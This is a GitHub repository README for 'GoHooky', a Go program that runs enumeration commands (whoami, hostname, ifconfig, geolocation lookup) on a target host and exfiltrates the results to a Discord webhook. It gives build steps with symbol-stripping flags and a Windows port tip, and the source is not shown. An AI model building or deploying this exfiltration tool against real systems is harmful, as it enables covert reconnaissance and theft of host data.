Skip to content

grepstrength/GoHooky

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 

Repository files navigation

image

GoHooky

A simple Go application that executes system commands, for user and device enumeration, and sends the output to a target Discord server via webhooks.

Disclaimer: This repository exists solely for educational purposes.

Features

  • Executes Linux command-line commands (by defautlt, whoami, hostname, ifconfig, and curl to an ipify.com geolocation API)
  • Sends command output to Discord using webhooks
  • Supports JSON-formatted message content
  • Error handling for both command execution and Discord communication

Prerequisites

  • Go installed on your system
  • A Discord webhook URL
  • Linux operating system (for current implementation) for the target host

Installation

  1. Clone the repository.
  2. Navigate to the project directory.
  3. Replace <ENTERWEBHOOKURL> with your actual Discord webhook's URL. (First lines of func main.)
  4. Replace <insert_your_api_key_here> with your ipify.com API key. (First lines of func main.)
  5. Run go build -ldflags "-s -w" main.go to compile.

Usage

The application provides two main functions:

  • runCommand(cmd string): Executes a Windows command and returns its output
  • sendToDiscord(webhookURL string, message string): Sends a message to a Discord channel via webhook

Note: If you want to make this run on a Windows host, change command := exec.Command("bash", "-c", cmd) to command := exec.Command("cmd", "/C", cmd) in the runCommand function of of main.go.

Example

image